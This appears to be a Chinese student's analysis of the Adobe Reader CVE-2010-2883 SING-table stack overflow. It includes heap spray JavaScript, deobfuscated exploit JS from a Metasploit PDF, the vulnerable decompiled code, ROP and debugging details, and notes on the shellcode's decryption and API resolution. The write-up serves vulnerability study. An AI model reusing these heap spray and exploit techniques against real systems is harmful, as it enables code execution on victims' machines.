CVE-2010-2883分析
1 漏洞背景
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在栈溢出漏洞。
1.1 Heap Spray(堆喷)
使用堆喷的时候,会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量内存,用包含着0x90和shellcode的“内存片”覆盖这些内存。
JavaScript会从内存低址向高址分配内存,申请了超过200M的内存。
var nop=unescape(“%u9090%u9090”);
//nop.length返回的是2
//产生一个大小为1MB且全部被0x90填满的内存块
while (nop.length<=0x100000/2)//0x100000是1MB,1MB=1024KB =1024*1024B=0x100000B
{
nop+=nop;
}
//Java会为申请到的内存填上一些额外的信息,为了保证内存片恰好是1MB,需要将额外信息所占空间减去。
nop=nop.substring(0,0x100000/2-32/2-shellcode.length/2-2/2);
var slide=new Arrary();
//用200个nop+shellcode的内存片覆盖堆内存,只要任意一篇nop区能覆盖0x0C0C0C0C,攻击便可以成功。1MB的内存相对于200Bytes的shellcode,可以让exploit拥有足够的稳定性。
for (var i=0;i<200;i++)
{
slide[i]=nop+shellcode;
}
1.2 PDF中的JS
注:使用的pdf是用metasploit生成的cve-2010-2883漏洞利用文档test.pdf
使用PDFStreamDumper查看PDF文件结构。
第11个obj是OpenAction,文件打开时会执行它里边的脚本。
然而第11个obj没有JS脚本,个人推测JS后面跟了个“12 0 R”代表脚本在第12个obj里面。
JS脚本用了很多字符串来混淆,用简单字符代替后得到如下代码:
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a......' );
var str = unescape("%u0c0c%u0c0c");
while (str.length + 20 + 8 < 65536) //65536 Bytes=64MB
str+=str;
//取从0-1524,1M多一点
str1 = str.substring(0, (0x0c0c-0x24)/2);
str1 += shellcode;
str1 += str;
str2 = str1.substring(0, 65536/2);
while(str2.length < 0x80000)
str2 += str2;
str3 = str2.substring(0, 0x80000 - (0x1020-0x08) / 2);
var str4 = new Array();
for (str5=0;str5<0x1f0;str5++)
str4[str5]=str3+"s";
1.3 TTF文件结构
使用PDFStreamDumper提取TTF文件。
TTF文件在第10个obj里面。选中第10个obj,右键“save Decompressed Streams”。
TrueType字体通常包含在单个TrueType字体文件中,其文件后缀为.TTF。(TrueType是微软和苹果公司共同研制的字型标准)。TrueType字体用machintosh的轮廓字体资源的格式编码,有一个唯一的标记名"sfnt"。windows没有macintosh的位图字体资源格式,字体目录包含了字体格式的版本号和几个表,每个表都有一个TableEntry结构项,TableEntry结构包含了资源标记、校验和、偏移量和每个表的大小。
typedef sturct
{
char tag[4];
ULONG checkSum;
ULONG offset;//相对文件的偏移
ULONG length;//数据长度为0x1DDF
}TableEntry;
在TTF文件中搜索“SING”,可以找到TTF中关于SING表的TableEntry结构所处的位置。
SING表数据结构如下图所示
文件偏移0x11C为SING表数据结构所处位置。SING表偏移0x10处为uniqueName域,uniqueName域大小为28字节。strcat会把从“58 E0 8D AD”(在test.pdf处是“4A E0 CE 68”,都是文件偏移0x0000012C处)开始的数据复制到指定位置,直到遇见NULL。此处的TTF文件已经是包含了触发栈溢出的数据。
1.4 漏洞成因
CoolType.dll中使用strcat函数时未对uniqueName字段的字符串长度进行检测,直接复制到固定大小的栈空间,最终导致栈溢出。攻击者篡改了TTF文件,在PDF文件中嵌入了JS脚本。
sub_8021B06(&TableEntry, a1, "SING");
v6 = TableEntry;
LOBYTE(v24) = 2;
if ( TableEntry )
{
if ( !(*&TableEntry->tableVersionMajor & 0xFFFF) || (*&TableEntry->tableVersionMajor & 0xFFFF) == 256 )
{
uniqueName = 0;
strcat(&uniqueName, TableEntry->uniqueName);
sub_8001243(a2, &uniqueName);
v6 = TableEntry;
}
v23 = 1;
}
2 漏洞调试
使用msf生成了漏洞利用文档,弹出计算机即利用成功。
2.1 使用msf生成样本
2.2 调试环境
操作系统:xp sp3
调试工具:吾爱**OllyDbg
软件:AdbeRdr934_en_US.exe
2.3 调试
打开Adobe Reader,打开OD附加Adobe Reader,在strcat函数处下断点0x0803DDAB(CoolType.dll的基地址是0x8000000),运行,用Adobe Reader打开test.pdf(msf生成的漏洞利用文档)。过一会会报错,选择不发送错误即可,耐心等待,再过一会断在了strcat函数处。
strcat函数执行结束之后,复制的数据从0012E4D8一直到0012E714
构造的触发栈溢出数据有三处比较重要
若未发生栈溢出,0x12E6D0处的内容是0x080833EF,CoolType.dll会在地址0x0808B308处调用该函数,但是栈溢出发生后,该处地址被覆盖成0x4A80CB38。
执行到sub_8001243函数结束,对复制的数据设置内存访问断点,直接断在了0x0808B308处。(为什么在sub_8001243函数执行结束后设置内存访问断点?因为sub_8001243函数会在调用ROP指令之前对复制的数据进行访问,影响调试,so,还是略过吧,sub_8001243跟了一遍,就是把地址0x12E608和0x12E60C处的数据修改了)。
F7跟进icucnv36.4A80CB3。
leave在16位汇编下相当于:
mov bp,sp
pop bp
leave在32位汇编下相当于:
mov esp,ebp
pop ebp
/* lead指令将EBP寄存器的内容复制到ESP寄存器中,
以释放分配给该过程的所有堆栈空间。然后,它从堆栈恢复EBP寄存器的旧值。*/
add ebp,0x794
leave (0x0012E4E0-0x12E4DC=0x4)
retn
开始执行shellcode
shellcode使用了CreateFile 、CreateFileMapping、MapOfViewMap创建了文件iso885,并把该文件映射到了内存中。使用memcpy函数将shellcode复制到了0x0037B0000处。
shellcode会对自身进行解密,解密伪代码如下。
key=0x92F9A5A9;
h=0x03EA0018;
for(i=0;i<0x31;i++)
{
Array[h]=Array[h] xor key;
key=Array[h]+key;
h=h+0x4;
}
解密之后可以在shellcode中看到计算器名称calc.exe。
再往后就是动态定位ntdll.dll中的函数,找到WinExec,然后用WinExec运行calc.exe。
2.4 动态定位API
从进程环境块(PEB)中找到动态链接库的导出表,搜索出所需API地址,然后调用。
test.pdf中的shellcode使用的就是这种方法调用了WinExec函数。
步骤:
1. 通过段选择字FS在内存中找到当前的线程环境块TEBTEB偏移0x30的地方存放指向PEB的指针。
2. TEB偏移0x30的地方存放指向PEB的指针。
mov edx,FS:[eax+0x30]//edx中现在存储指向PEB的指针
3. PEB中偏移0xC的地方存放着指向PEB_LDR_DATA结构体的指针,其中存放着已经被进程装载的动态链接库的信息。(2+1+1+2*4=0xC)
4. PEB_LDR_DATA结构体偏移0x14的地方存放着InMemoryOrderModuleList。(8+3*4=0x14)
InMemoryOrderModuleList代表按内存顺序构成的模块链表。包含两个指针,指向下一个LDR_DATA_TABLE_ENTRY中的InMemoryOrderLinks的Flink和指向上一个LDR_DATA_TABLE_ENTRY中的InMemoryOrderLinks的Blink。可以使用InMemoryOrderLinks的Flink遍历进程加载的整个模块。
第一个模块AcroRd32.exe。因为这个双向链表链接的都是InMemoryOrderLinks,所以偏移也从InMemoryOrderLinks开始算。
第二个模块时ntdll.dll,导出表偏移0x20处的指针指向存储导出函数函数名的列表。计算并比较函数名hash,找到WinExec后,计算出函数地址,调用。
得到函数地址后调用WinExec即可。
3 总结
CVE-2010-2883利用中使用了栈溢出、堆喷以及动态定位API技术,分析的时候以为只是简单的栈溢出,没想到牵扯出来这么多东西,脑子转的慢,分析了好几天才算是分析完,忘了在哪里看到的一句换,大致意思是“学习漏洞战争这本书之前,先看一下0day安全”,说的真是太好了,我要是分析这个漏洞之前把0day安全实践完了就好了,肯定会很轻松,不至于这么累。其中堆喷、PDF中的JS以及动态定位API都是0day安全这本书中详细说过的,尤其是shellcode中的定位API,0day安全这本书中有它的汇编代码,基本上一模一样,我要是当初认真看了,也不会再这里卡上半天,所以说啊,认真学习,别想着偷懒,欠的债总是要还的。
感慨一下发现这个漏洞以及利用成功的人,简直太牛了,怎么能这么厉害呢,换做是我,根本就想不到这么多的东西,大佬啊,望尘莫及。
4 参考文献
《漏洞战争》
《0day安全:软件漏洞分析技术》